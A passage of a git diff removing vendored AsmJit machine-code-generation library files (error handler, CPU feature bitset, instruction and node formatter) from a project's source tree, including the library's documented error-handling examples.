arch == kArchX86 || - arch == kArchX64; - } - - //! Tests whether the given architecture family is RISC-V (both 32-bit and 64-bit). - static inline bool isFamilyRISCV(uint32_t arch) noexcept { - return arch == kArchRISCV32 || - arch == kArchRISCV64; - } - - //! Tests whether the given architecture family is ARM, Thumb, or AArch64. - static inline bool isFamilyARM(uint32_t arch) noexcept { - arch &= ~kArchBigEndianMask; - return arch == kArchARM || - arch == kArchAArch64 || - arch == kArchThumb; - } - - //! Tests whether the given architecture family is MISP or MIPS64. - static inline bool isFamilyMIPS(uint32_t arch) noexcept { - arch &= ~kArchBigEndianMask; - return arch == kArchMIPS32_LE || - arch == kArchMIPS64_LE; - } - - //! Returns a native general purpose register size from the given architecture. - static uint32_t registerSizeFromArch(uint32_t arch) noexcept { - return is32Bit(arch) ? 4u : 8u; - } - - //! \} -}; - -//! Returns the host environment constructed from preprocessor macros defined -//! by the compiler. -//! -//! The returned environment should precisely match the target host architecture, -//! sub-architecture, platform, and ABI. -static ASMJIT_INLINE Environment hostEnvironment() noexcept { - return Environment(Environment::kArchHost, - Environment::kSubArchHost, - Environment::kVendorHost, - Environment::kPlatformHost, - Environment::kAbiHost, - Environment::kFormatUnknown); -} - -static_assert(sizeof(Environment) == 8, - "Environment must occupy exactly 8 bytes."); - -//! \} - -#ifndef ASMJIT_NO_DEPRECATED -class ASMJIT_DEPRECATED_STRUCT("Use Environment instead") ArchInfo : public Environment { -public: - inline ArchInfo() noexcept : Environment() {} - - inline ArchInfo(const Environment& other) noexcept : Environment(other) {} - inline explicit ArchInfo(uint32_t arch, uint32_t subArch = kSubArchUnknown) noexcept - : Environment(arch, subArch) {} - - enum Id : uint32_t { - kIdNone = Environment::kArchUnknown, - kIdX86 = Environment::kArchX86, - kIdX64 = Environment::kArchX64, - kIdA32 = Environment::kArchARM, - kIdA64 = Environment::kArchAArch64, - kIdHost = Environment::kArchHost - }; - - enum SubType : uint32_t { - kSubIdNone = Environment::kSubArchUnknown - }; - - static inline ArchInfo host() noexcept { return ArchInfo(hostEnvironment()); } -}; -#endif // !ASMJIT_NO_DEPRECATED - -ASMJIT_END_NAMESPACE - -#endif // ASMJIT_CORE_ENVIRONMENT_H_INCLUDED diff --git a/src/Theodosius/asmjit/core/errorhandler.cpp b/src/Theodosius/asmjit/core/errorhandler.cpp deleted file mode 100644 index 8372d75..0000000 --- a/src/Theodosius/asmjit/core/errorhandler.cpp +++ /dev/null @@ -1,37 +0,0 @@ - -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#include "../core/api-build_p.h" -#include "../core/errorhandler.h" - -ASMJIT_BEGIN_NAMESPACE - -// ============================================================================ -// [asmjit::ErrorHandler] -// ============================================================================ - -ErrorHandler::ErrorHandler() noexcept {} -ErrorHandler::~ErrorHandler() noexcept {} - -ASMJIT_END_NAMESPACE diff --git a/src/Theodosius/asmjit/core/errorhandler.h b/src/Theodosius/asmjit/core/errorhandler.h deleted file mode 100644 index 2337cd8..0000000 --- a/src/Theodosius/asmjit/core/errorhandler.h +++ /dev/null @@ -1,267 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#ifndef ASMJIT_CORE_ERRORHANDLER_H_INCLUDED -#define ASMJIT_CORE_ERRORHANDLER_H_INCLUDED - -#include "../core/globals.h" - -ASMJIT_BEGIN_NAMESPACE - -//! \addtogroup asmjit_error_handling -//! \{ - -// ============================================================================ -// [Forward Declarations] -// ============================================================================ - -class BaseEmitter; - -// ============================================================================ -// [asmjit::ErrorHandler] -// ============================================================================ - -//! Error handler can be used to override the default behavior of error handling. -//! -//! It's available to all classes that inherit `BaseEmitter`. Override -//! \ref ErrorHandler::handleError() to implement your own error handler. -//! -//! The following use-cases are supported: -//! -//! - Record the error and continue code generation. This is the simplest -//! approach that can be used to at least log possible errors. -//! - Throw an exception. AsmJit doesn't use exceptions and is completely -//! exception-safe, but it's perfectly legal to throw an exception from -//! the error handler. -//! - Use plain old C's `setjmp()` and `longjmp()`. Asmjit always puts Assembler, -//! Builder and Compiler to a consistent state before calling \ref handleError(), -//! so `longjmp()` can be used without issues to cancel the code-generation if -//! an error occurred. This method can be used if exception handling in your -//! project is turned off and you still want some comfort. In most cases it -//! should be safe as AsmJit uses \ref Zone memory and the ownership of memory -//! it allocates always ends with the instance that allocated it. If using this -//! approach please never jump outside the life-time of \ref CodeHolder and -//! \ref BaseEmitter. -//! -//! \ref ErrorHandler can be attached to \ref CodeHolder or \ref BaseEmitter, -//! which has a priority. The example below uses error handler that just prints -//! the error, but lets AsmJit continue: -//! -//! ``` -//! // Error Handling #1 - Logging and returing Error. -//! #include -//! #include -//! -//! using namespace asmjit; -//! -//! // Error handler that just prints the error and lets AsmJit ignore it. -//! class SimpleErrorHandler : public ErrorHandler { -//! public: -//! Error err; -//! -//! inline SimpleErrorHandler() : err(kErrorOk) {} -//! -//! void handleError(Error err, const char* message, BaseEmitter* origin) override { -//! this->err = err; -//! fprintf(stderr, "ERROR: %s\n", message); -//! } -//! }; -//! -//! int main() { -//! JitRuntime rt; -//! SimpleErrorHandler eh; -//! -//! CodeHolder code; -//! code.init(rt.environment()); -//! code.setErrorHandler(&eh); -//! -//! // Try to emit instruction that doesn't exist. -//! x86::Assembler a(&code); -//! a.emit(x86::Inst::kIdMov, x86::xmm0, x86::xmm1); -//! -//! if (eh.err) { -//! // Assembler failed! -//! return 1; -//! } -//! -//! return 0; -//! } -//! ``` -//! -//! If error happens during instruction emitting / encoding the assembler behaves -//! transactionally - the output buffer won't advance if encoding failed, thus -//! either a fully encoded instruction or nothing is emitted. The error handling -//! shown above is useful, but it's still not the best way of dealing with errors -//! in AsmJit. The following example shows how to use exception handling to handle -//! errors in a more C++ way: -//! -//! ``` -//! // Error Handling #2 - Throwing an exception. -//! #include -//! #include -//! #include -//! #include -//! -//! using namespace asmjit; -//! -//! // Error handler that throws a user-defined `AsmJitException`. -//! class AsmJitException : public std::exception { -//! public: -//! Error err; -//! std::string message; -//! -//! AsmJitException(Error err, const char* message) noexcept -//! : err(err), -//! message(message) {} -//! -//! const char* what() const noexcept override { return message.c_str(); } -//! }; -//! -//! class ThrowableErrorHandler : public ErrorHandler { -//! public: -//! // Throw is possible, functions that use ErrorHandler are never 'noexcept'. -//! void handleError(Error err, const char* message, BaseEmitter* origin) override { -//! throw AsmJitException(err, message); -//! } -//! }; -//! -//! int main() { -//! JitRuntime rt; -//! ThrowableErrorHandler eh; -//! -//! CodeHolder code; -//! code.init(rt.environment()); -//! code.setErrorHandler(&eh); -//! -//! x86::Assembler a(&code); -//! -//! // Try to emit instruction that doesn't exist. -//! try { -//! a.emit(x86::Inst::kIdMov, x86::xmm0, x86::xmm1); -//! } -//! catch (const AsmJitException& ex) { -//! printf("EXCEPTION THROWN: %s\n", ex.what()); -//! return 1; -//! } -//! -//! return 0; -//! } -//! ``` -//! -//! If C++ exceptions are not what you like or your project turns off them -//! completely there is still a way of reducing the error handling to a minimum -//! by using a standard setjmp/longjmp approach. AsmJit is exception-safe and -//! cleans up everything before calling the ErrorHandler, so any approach is -//! safe. You can simply jump from the error handler without causing any -//! side-effects or memory leaks. The following example demonstrates how it -//! could be done: -//! -//! ``` -//! // Error Handling #3 - Using setjmp/longjmp if exceptions are not allowed. -//! #include -//! #include -//! #include -//! -//! class LongJmpErrorHandler : public asmjit::ErrorHandler { -//! public: -//! inline LongJmpErrorHandler() : err(asmjit::kErrorOk) {} -//! -//! void handleError(asmjit::Error err, const char* message, asmjit::BaseEmitter* origin) override { -//! this->err = err; -//! longjmp(state, 1); -//! } -//! -//! jmp_buf state; -//! asmjit::Error err; -//! }; -//! -//! int main(int argc, char* argv[]) { -//! using namespace asmjit; -//! -//! JitRuntime rt; -//! LongJmpErrorHandler eh; -//! -//! CodeHolder code; -//! code.init(rt.rt.environment()); -//! code.setErrorHandler(&eh); -//! -//! x86::Assembler a(&code); -//! -//! if (!setjmp(eh.state)) { -//! // Try to emit instruction that doesn't exist. -//! a.emit(x86::Inst::kIdMov, x86::xmm0, x86::xmm1); -//! } -//! else { -//! Error err = eh.err; -//! printf("ASMJIT ERROR: 0x%08X [%s]\n", err, DebugUtils::errorAsString(err)); -//! } -//! -//! return 0; -//! } -//! ``` -class ASMJIT_VIRTAPI ErrorHandler { -public: - ASMJIT_BASE_CLASS(ErrorHandler) - - // -------------------------------------------------------------------------- - // [Construction / Destruction] - // -------------------------------------------------------------------------- - - //! Creates a new `ErrorHandler` instance. - ASMJIT_API ErrorHandler() noexcept; - //! Destroys the `ErrorHandler` instance. - ASMJIT_API virtual ~ErrorHandler() noexcept; - - // -------------------------------------------------------------------------- - // [Handle Error] - // -------------------------------------------------------------------------- - - //! Error handler (must be reimplemented). - //! - //! Error handler is called after an error happened and before it's propagated - //! to the caller. There are multiple ways how the error handler can be used: - //! - //! 1. User-based error handling without throwing exception or using C's - //! `longjmp()`. This is for users that don't use exceptions and want - //! customized error handling. - //! - //! 2. Throwing an exception. AsmJit doesn't use exceptions and is completely - //! exception-safe, but you can throw exception from your error handler if - //! this way is the preferred way of handling errors in your project. - //! - //! 3. Using plain old C's `setjmp()` and `longjmp()`. Asmjit always puts - //! `BaseEmitter` to a consistent state before calling `handleError()` - //! so `longjmp()` can be used without any issues to cancel the code - //! generation if an error occurred. There is no difference between - //! exceptions and `longjmp()` from AsmJit's perspective, however, - //! never jump outside of `CodeHolder` and `BaseEmitter` scope as you - //! would leak memory. - virtual void handleError(Error err, const char* message, BaseEmitter* origin) = 0; -}; - -//! \} - -ASMJIT_END_NAMESPACE - -#endif // ASMJIT_CORE_ERRORHANDLER_H_INCLUDED - diff --git a/src/Theodosius/asmjit/core/features.h b/src/Theodosius/asmjit/core/features.h deleted file mode 100644 index 0f2cfe2..0000000 --- a/src/Theodosius/asmjit/core/features.h +++ /dev/null @@ -1,186 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#ifndef ASMJIT_CORE_FEATURES_H_INCLUDED -#define ASMJIT_CORE_FEATURES_H_INCLUDED - -#include "../core/globals.h" -#include "../core/support.h" - -ASMJIT_BEGIN_NAMESPACE - -//! \addtogroup asmjit_core -//! \{ - -// ============================================================================ -// [asmjit::BaseFeatures] -// ============================================================================ - -//! Base class that provides information about CPU features. -//! -//! Internally each feature is represented by a single bit in an embedded -//! bit-array, however, feature bits are defined by an architecture specific -//! implementations, like \ref x86::Features. -class BaseFeatures { -public: - typedef Support::BitWord BitWord; - typedef Support::BitVectorIterator Iterator; - - enum : uint32_t { - kMaxFeatures = 256, - kNumBitWords = kMaxFeatures / Support::kBitWordSizeInBits - }; - - BitWord _bits[kNumBitWords]; - - //! \name Construction & Destruction - //! \{ - - inline BaseFeatures() noexcept { reset(); } - inline BaseFeatures(const BaseFeatures& other) noexcept = default; - inline explicit BaseFeatures(Globals::NoInit_) noexcept {} - - inline void reset() noexcept { - for (size_t i = 0; i < kNumBitWords; i++) - _bits[i] = 0; - } - - //! \} - - //! \name Overloaded Operators - //! \{ - - inline BaseFeatures& operator=(const BaseFeatures& other) noexcept = default; - - inline bool operator==(const BaseFeatures& other) noexcept { return eq(other); } - inline bool operator!=(const BaseFeatures& other) noexcept { return !eq(other); } - - //! \} - - //! \name Cast - //! \{ - - //! Casts this base class into a derived type `T`. - template - inline T& as() noexcept { return static_cast(*this); } - - //! Casts this base class into a derived type `T` (const). - template - inline const T& as() const noexcept { return static_cast(*this); } - - //! \} - - //! \name Accessors - //! \{ - - inline bool empty() const noexcept { - for (uint32_t i = 0; i < kNumBitWords; i++) - if (_bits[i]) - return false; - return true; - } - - //! Returns all features as array of bitwords (see \ref Support::BitWord). - inline BitWord* bits() noexcept { return _bits; } - //! Returns all features as array of bitwords (const). - inline const BitWord* bits() const noexcept { return _bits; } - - //! Returns the number of BitWords returned by \ref bits(). - inline size_t bitWordCount() const noexcept { return kNumBitWords; } - - //! Returns \ref Support::BitVectorIterator, that can be used to iterate - //! all features efficiently - inline Iterator iterator() const noexcept { - return Iterator(_bits, kNumBitWords); - } - - //! Tests whether the feature `featureId` is present. - inline bool has(uint32_t featureId) const noexcept { - ASMJIT_ASSERT(featureId < kMaxFeatures); - - uint32_t idx = featureId / Support::kBitWordSizeInBits; - uint32_t bit = featureId % Support::kBitWordSizeInBits; - - return bool((_bits[idx] >> bit) & 0x1); - } - - //! Tests whether all features as defined by `other` are present. - inline bool hasAll(const BaseFeatures& other) const noexcept { - for (uint32_t i = 0; i < kNumBitWords; i++) - if ((_bits[i] & other._bits[i]) != other._bits[i]) - return false; - return true; - } - - //! \} - - //! \name Utilities - //! \{ - - //! Adds the given CPU `featureId` to the list of features. - inline void add(uint32_t featureId) noexcept { - ASMJIT_ASSERT(featureId < kMaxFeatures); - - uint32_t idx = featureId / Support::kBitWordSizeInBits; - uint32_t bit = featureId % Support::kBitWordSizeInBits; - - _bits[idx] |= BitWord(1) << bit; - } - - template - inline void add(uint32_t featureId, Args... otherIds) noexcept { - add(featureId); - add(otherIds...); - } - - //! Removes the given CPU `featureId` from the list of features. - inline void remove(uint32_t featureId) noexcept { - ASMJIT_ASSERT(featureId < kMaxFeatures); - - uint32_t idx = featureId / Support::kBitWordSizeInBits; - uint32_t bit = featureId % Support::kBitWordSizeInBits; - - _bits[idx] &= ~(BitWord(1) << bit); - } - - template - inline void remove(uint32_t featureId, Args... otherIds) noexcept { - remove(featureId); - remove(otherIds...); - } - - inline bool eq(const BaseFeatures& other) const noexcept { - for (size_t i = 0; i < kNumBitWords; i++) - if (_bits[i] != other._bits[i]) - return false; - return true; - } - - //! \} -}; - -//! \} - -ASMJIT_END_NAMESPACE - -#endif // ASMJIT_CORE_FEATURES_H_INCLUDED diff --git a/src/Theodosius/asmjit/core/formatter.cpp b/src/Theodosius/asmjit/core/formatter.cpp deleted file mode 100644 index 89c3228..0000000 --- a/src/Theodosius/asmjit/core/formatter.cpp +++ /dev/null @@ -1,481 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#include "../core/api-build_p.h" -#ifndef ASMJIT_NO_LOGGING - -#include "../core/builder.h" -#include "../core/codeholder.h" -#include "../core/compiler.h" -#include "../core/emitter.h" -#include "../core/formatter.h" -#include "../core/string.h" -#include "../core/support.h" -#include "../core/type.h" - -#ifdef ASMJIT_BUILD_X86 - #include "../x86/x86formatter_p.h" -#endif - -#ifdef ASMJIT_BUILD_ARM - #include "../arm/armformatter_p.h" -#endif - -ASMJIT_BEGIN_NAMESPACE - -#if defined(ASMJIT_NO_COMPILER) -class VirtReg; -#endif - -// ============================================================================ -// [asmjit::Formatter] -// ============================================================================ - -namespace Formatter { - -Error formatTypeId(String& sb, uint32_t typeId) noexcept { - if (typeId == Type::kIdVoid) - return sb.append("void"); - - if (!Type::isValid(typeId)) - return sb.append("unknown"); - - const char* typeName = "unknown"; - uint32_t typeSize = Type::sizeOf(typeId); - - uint32_t baseId = Type::baseOf(typeId); - switch (baseId) { - case Type::kIdIntPtr : typeName = "iptr" ; break; - case Type::kIdUIntPtr: typeName = "uptr" ; break; - case Type::kIdI8 : typeName = "i8" ; break; - case Type::kIdU8 : typeName = "u8" ; break; - case Type::kIdI16 : typeName = "i16" ; break; - case Type::kIdU16 : typeName = "u16" ; break; - case Type::kIdI32 : typeName = "i32" ; break; - case Type::kIdU32 : typeName = "u32" ; break; - case Type::kIdI64 : typeName = "i64" ; break; - case Type::kIdU64 : typeName = "u64" ; break; - case Type::kIdF32 : typeName = "f32" ; break; - case Type::kIdF64 : typeName = "f64" ; break; - case Type::kIdF80 : typeName = "f80" ; break; - case Type::kIdMask8 : typeName = "mask8" ; break; - case Type::kIdMask16 : typeName = "mask16"; break; - case Type::kIdMask32 : typeName = "mask32"; break; - case Type::kIdMask64 : typeName = "mask64"; break; - case Type::kIdMmx32 : typeName = "mmx32" ; break; - case Type::kIdMmx64 : typeName = "mmx64" ; break; - } - - uint32_t baseSize = Type::sizeOf(baseId); - if (typeSize > baseSize) { - uint32_t count = typeSize / baseSize; - return sb.appendFormat("%sx%u", typeName, unsigned(count)); - } - else { - return sb.append(typeName); - } -} - -Error formatFeature( - String& sb, - uint32_t arch, - uint32_t featureId) noexcept { - -#ifdef ASMJIT_BUILD_X86 - if (Environment::isFamilyX86(arch)) - return x86::FormatterInternal::formatFeature(sb, featureId); -#endif - -#ifdef ASMJIT_BUILD_ARM - if (Environment::isFamilyARM(arch)) - return arm::FormatterInternal::formatFeature(sb, featureId); -#endif - - return kErrorInvalidArch; -} - -Error formatLabel( - String& sb, - uint32_t formatFlags, - const BaseEmitter* emitter, - uint32_t labelId) noexcept { - - DebugUtils::unused(formatFlags); - - const LabelEntry* le = emitter->code()->labelEntry(labelId); - if (ASMJIT_UNLIKELY(!le)) - return sb.appendFormat("", labelId); - - if (le->hasName()) { - if (le->hasParent()) { - uint32_t parentId = le->parentId(); - const LabelEntry* pe = emitter->code()->labelEntry(parentId); - - if (ASMJIT_UNLIKELY(!pe)) - ASMJIT_PROPAGATE(sb.appendFormat("", labelId)); - else if (ASMJIT_UNLIKELY(!pe->hasName())) - ASMJIT_PROPAGATE(sb.appendFormat("L%u", parentId)); - else - ASMJIT_PROPAGATE(sb.append(pe->name())); - - ASMJIT_PROPAGATE(sb.append('.')); - } - return sb.append(le->name()); - } - else { - return sb.appendFormat("L%u", labelId); - } -} - -Error formatRegister( - String& sb, - uint32_t formatFlags, - const BaseEmitter* emitter, - uint32_t arch, - uint32_t regType, - uint32_t regId) noexcept { - -#ifdef ASMJIT_BUILD_X86 - if (Environment::isFamilyX86(arch)) - return x86::FormatterInternal::formatRegister(sb, formatFlags, emitter, arch, regType, regId); -#endif - -#ifdef ASMJIT_BUILD_ARM - if (Environment::isFamilyARM(arch)) - return arm::FormatterInternal::formatRegister(sb, formatFlags, emitter, arch, regType, regId); -#endif - - return kErrorInvalidArch; -} - -Error formatOperand( - String& sb, - uint32_t formatFlags, - const BaseEmitter* emitter, - uint32_t arch, - const Operand_& op) noexcept { - -#ifdef ASMJIT_BUILD_X86 - if (Environment::isFamilyX86(arch)) - return x86::FormatterInternal::formatOperand(sb, formatFlags, emitter, arch, op); -#endif - -#ifdef ASMJIT_BUILD_ARM - if (Environment::isFamilyARM(arch)) - return arm::FormatterInternal::formatOperand(sb, formatFlags, emitter, arch, op); -#endif - - return kErrorInvalidArch; -} - -Error formatInstruction( - String& sb, - uint32_t formatFlags, - const BaseEmitter* emitter, - uint32_t arch, - const BaseInst& inst, const Operand_* operands, size_t opCount) noexcept { - -#ifdef ASMJIT_BUILD_X86 - if (Environment::isFamilyX86(arch)) - return x86::FormatterInternal::formatInstruction(sb, formatFlags, emitter, arch, inst, operands, opCount); -#endif - -#ifdef ASMJIT_BUILD_ARM - if (Environment::isFamilyARM(arch)) - return arm::FormatterInternal::formatInstruction(sb, formatFlags, emitter, arch, inst, operands, opCount); -#endif - - return kErrorInvalidArch; -} - -#ifndef ASMJIT_NO_BUILDER - -#ifndef ASMJIT_NO_COMPILER -static Error formatFuncValue(String& sb, uint32_t formatFlags, const BaseEmitter* emitter, FuncValue value) noexcept { - uint32_t typeId = value.typeId(); - ASMJIT_PROPAGATE(formatTypeId(sb, typeId)); - - if (value.isAssigned()) { - ASMJIT_PROPAGATE(sb.append('@')); - - if (value.isIndirect()) - ASMJIT_PROPAGATE(sb.append('[')); - - // NOTE: It should be either reg or stack, but never both. We - // use two IFs on purpose so if the FuncValue is both it would - // show in logs. - if (value.isReg()) { - ASMJIT_PROPAGATE(formatRegister(sb, formatFlags, emitter, emitter->arch(), value.regType(), value.regId())); - } - - if (value.isStack()) { - ASMJIT_PROPAGATE(sb.appendFormat("[%d]", int(value.stackOffset()))); - } - - if (value.isIndirect()) - ASMJIT_PROPAGATE(sb.append(']')); - } - - return kErrorOk; -} - -static Error formatFuncValuePack( - String& sb, - uint32_t formatFlags, - const BaseEmitter* emitter, - const FuncValuePack& pack, - VirtReg* const* vRegs) noexcept { - - size_t count = pack.count(); - if (!count) - return sb.append("void"); - - if (count > 1) - sb.append('['); - - for (uint32_t valueIndex = 0; valueIndex < count; valueIndex++) { - const FuncValue& value = pack[valueIndex]; - if (!value) - break; - - if (valueIndex) - ASMJIT_PROPAGATE(sb.append(", ")); - - ASMJIT_PROPAGATE(formatFuncValue(sb, formatFlags, emitter, value)); - - if (vRegs) { - static const char nullRet[] = ""; - ASMJIT_PROPAGATE(sb.appendFormat(" %s", vRegs[valueIndex] ? vRegs[valueIndex]->name() : nullRet)); - } - } - - if (count > 1) - sb.append(']'); - - return kErrorOk; -} - -static Error formatFuncRets( - String& sb, - uint32_t formatFlags, - const BaseEmitter* emitter, - const FuncDetail& fd) noexcept { - - return formatFuncValuePack(sb, formatFlags, emitter, fd.retPack(), nullptr); -} - -static Error formatFuncArgs( - String& sb, - uint32_t formatFlags, - const BaseEmitter* emitter, - const FuncDetail& fd, - const FuncNode::ArgPack* argPacks) noexcept { - - uint32_t argCount = fd.argCount(); - if (!argCount) - return sb.append("void"); - - for (uint32_t argIndex = 0; argIndex < argCount; argIndex++) { - if (argIndex) - ASMJIT_PROPAGATE(sb.append(", ")); - - ASMJIT_PROPAGATE(formatFuncValuePack(sb, formatFlags, emitter, fd.argPack(argIndex), argPacks[argIndex]._data)); - } - - return kErrorOk; -} -#endif - -Error formatNode( - String& sb, - uint32_t formatFlags, - const BaseBuilder* builder, - const BaseNode* node) noexcept { - - if (node->hasPosition() && (formatFlags & FormatOptions::kFlagPositions) != 0) - ASMJIT_PROPAGATE(sb.appendFormat("<%05u> ", node->position())); - - switch (node->type()) { - case BaseNode::kNodeInst: - case BaseNode::kNodeJump: { - const InstNode* instNode = node->as(); - ASMJIT_PROPAGATE( - formatInstruction(sb, formatFlags, builder, - builder->arch(), - instNode->baseInst(), instNode->operands(), instNode->opCount())); - break; - } - - case BaseNode::kNodeSection: { - const SectionNode* sectionNode = node->as(); - if (builder->_code->isSectionValid(sectionNode->id())) { - const Section* section = builder->_code->sectionById(sectionNode->id()); - ASMJIT_PROPAGATE(sb.appendFormat(".section %s", section->name())); - } - break; - } - - case BaseNode::kNodeLabel: { - const LabelNode* labelNode = node->as(); - ASMJIT_PROPAGATE(formatLabel(sb, formatFlags, builder, labelNode->labelId())); - ASMJIT_PROPAGATE(sb.append(":")); - break; - } - - case BaseNode::kNodeAlign: { - const AlignNode* alignNode = node->as(); - ASMJIT_PROPAGATE( - sb.appendFormat("align %u (%s)", - alignNode->alignment(), - alignNode->alignMode() == kAlignCode ? "code" : "data")); - break; - } - - case BaseNode::kNodeEmbedData: { - const EmbedDataNode* embedNode = node->as(); - ASMJIT_PROPAGATE(sb.append("embed ")); - if (embedNode->repeatCount() != 1) - ASMJIT_PROPAGATE(sb.appendFormat("[repeat=%zu] ", size_t(embedNode->repeatCount()))); - ASMJIT_PROPAGATE(sb.appendFormat("%u bytes", embedNode->dataSize())); - break; - } - - case BaseNode::kNodeEmbedLabel: { - const EmbedLabelNode* embedNode = node->as(); - ASMJIT_PROPAGATE(sb.append(".label ")); - ASMJIT_PROPAGATE(formatLabel(sb, formatFlags, builder, embedNode->labelId())); - break; - } - - case BaseNode::kNodeEmbedLabelDelta: { - const EmbedLabelDeltaNode* embedNode = node->as(); - ASMJIT_PROPAGATE(sb.append(".label (")); - ASMJIT_PROPAGATE(formatLabel(sb, formatFlags, builder, embedNode->labelId())); - ASMJIT_PROPAGATE(sb.append(" - ")); - ASMJIT_PROPAGATE(formatLabel(sb, formatFlags, builder, embedNode->baseLabelId())); - ASMJIT_PROPAGATE(sb.append(")")); - break; - } - - case BaseNode::kNodeComment: { - const CommentNode* commentNode = node->as(); - ASMJIT_PROPAGATE(sb.appendFormat("; %s", commentNode->inlineComment())); - break; - } - - case BaseNode::kNodeSentinel: { - const SentinelNode* sentinelNode = node->as(); - const char* sentinelName = nullptr; - - switch (sentinelNode->sentinelType()) { - case SentinelNode::kSentinelFuncEnd: - sentinelName = "[FuncEnd]"; - break; - - default: - sentinelName = "[Sentinel]"; - break; - } - - ASMJIT_PROPAGATE(sb.append(sentinelName)); - break; - } - -#ifndef ASMJIT_NO_COMPILER - case BaseNode::kNodeFunc: { - const FuncNode* funcNode = node->as(); - - ASMJIT_PROPAGATE(formatLabel(sb, formatFlags, builder, funcNode->labelId())); - ASMJIT_PROPAGATE(sb.append(": ")); - - ASMJIT_PROPAGATE(formatFuncRets(sb, formatFlags, builder, funcNode->detail())); - ASMJIT_PROPAGATE(sb.append(" Func(")); - ASMJIT_PROPAGATE(formatFuncArgs(sb, formatFlags, builder, funcNode->detail(), funcNode->argPacks())); - ASMJIT_PROPAGATE(sb.append(")")); - break; - } - - case BaseNode::kNodeFuncRet: { - const FuncRetNode* retNode = node->as(); - ASMJIT_PROPAGATE(sb.append("[FuncRet]")); - - for (uint32_t i = 0; i < 2; i++) { - const Operand_& op = retNode->_opArray[i]; - if (!op.isNone()) { - ASMJIT_PROPAGATE(sb.append(i == 0 ? " " : ", ")); - ASMJIT_PROPAGATE(formatOperand(sb, formatFlags, builder, builder->arch(), op)); - } - } - break; - } - - case BaseNode::kNodeInvoke: { - const InvokeNode* invokeNode = node->as(); - ASMJIT_PROPAGATE( - formatInstruction(sb, formatFlags, builder, - builder->arch(), - invokeNode->baseInst(), invokeNode->operands(), invokeNode->opCount())); - break; - } -#endif - - default: { - ASMJIT_PROPAGATE(sb.appendFormat("[UserNode:%u]", node->type())); - break; - } - } - - return kErrorOk; -} - - -Error formatNodeList( - String& sb, - uint32_t formatFlags, - const BaseBuilder* builder) noexcept { - - return formatNodeList(sb, formatFlags, builder, builder->firstNode(), nullptr); -} - -Error formatNodeList( - String& sb, - uint32_t formatFlags, - const BaseBuilder* builder, - const BaseNode* begin, - const BaseNode* end) noexcept { - - const BaseNode* node = begin; - while (node != end) { - ASMJIT_PROPAGATE(formatNode(sb, formatFlags, builder, node)); - ASMJIT_PROPAGATE(sb.append('\n')); - node = node->next(); - } - return kErrorOk; -} -#endif - -} // {Formatter} - -ASMJIT_END_NAMESPACE - -#endif diff --git a/src/Theodosius/asmjit/core/formatter.h b/src/Theodosius/asmjit/core/formatter.h deleted file mode 100644 index 14934ba..0000000 --- a/src/Theodosius/asmjit/core/formatter.h +++ /dev/null @@ -1,256 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#ifndef ASMJIT_CORE_FORMATTER_H_INCLUDED -#define ASMJIT_CORE_FORMATTER_H_INCLUDED - -#include "../core/inst.h" -#include "../core/string.h" - -#ifndef ASMJIT_NO_LOGGING - -ASMJIT_BEGIN_NAMESPACE - -//! \addtogroup asmjit_logging -//! \{ - -// 